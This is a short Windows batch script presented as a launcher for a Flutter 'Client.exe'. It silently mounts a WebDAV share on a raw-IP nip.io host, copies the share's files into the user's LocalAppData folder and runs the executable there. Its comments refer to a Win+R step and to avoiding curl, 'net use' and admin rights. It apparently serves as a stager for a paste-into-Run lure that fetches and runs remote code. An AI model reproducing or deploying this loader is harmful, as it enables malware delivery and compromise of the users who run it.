@echo off
setlocal enableextensions

rem Called after the Win+R loop has pushd'd into the share, so "." is the share
rem root. Copy everything to local disk and run Client.exe THERE, so the
rem Flutter runtime finds flutter_windows.dll and its .cfg next to the exe.
rem No curl, no net use, no admin.

set "REMOTE=\\78-141-211-247.nip.io@SSL@443\DavWWWRoot"
set "DST=%LOCALAPPDATA%\ClientApp"
set "EXE=Client.exe"
set "LOG=%DST%\launcher.log"

if not exist "%DST%" md "%DST%" >nul 2>&1

rem --- source = current dir if the caller mapped the share, else map it here ---
if not exist ".\%EXE%" (
    pushd "%REMOTE%" 2>nul
)

rem --- copy everything to local disk (only changed files after the first run) ---
robocopy . "%DST%" /E /XO /FFT /MT:8 /R:2 /W:2 /COPY:DAT /NP /NFL /NDL /NJH /NJS /LOG+:"%LOG%" >nul 2>&1

rem --- load-bearing files: copy FRESH every run (NO /XO) so a changed engine or
rem     config can never be skipped on a timestamp tie ---
robocopy . "%DST%" %EXE% flutter_windows.dll *.cfg Handler /FFT /R:2 /W:2 /COPY:DAT /NP /NFL /NDL /NJH /NJS /LOG+:"%LOG%" >nul 2>&1

rem --- run locally ---
if not exist "%DST%\%EXE%" (
    echo [%DATE% %TIME%] %EXE% missing in %DST% >>"%LOG%" 2>nul
    exit /b 1
)
cd /d "%DST%"
start "" "%DST%\%EXE%"
exit /b 0
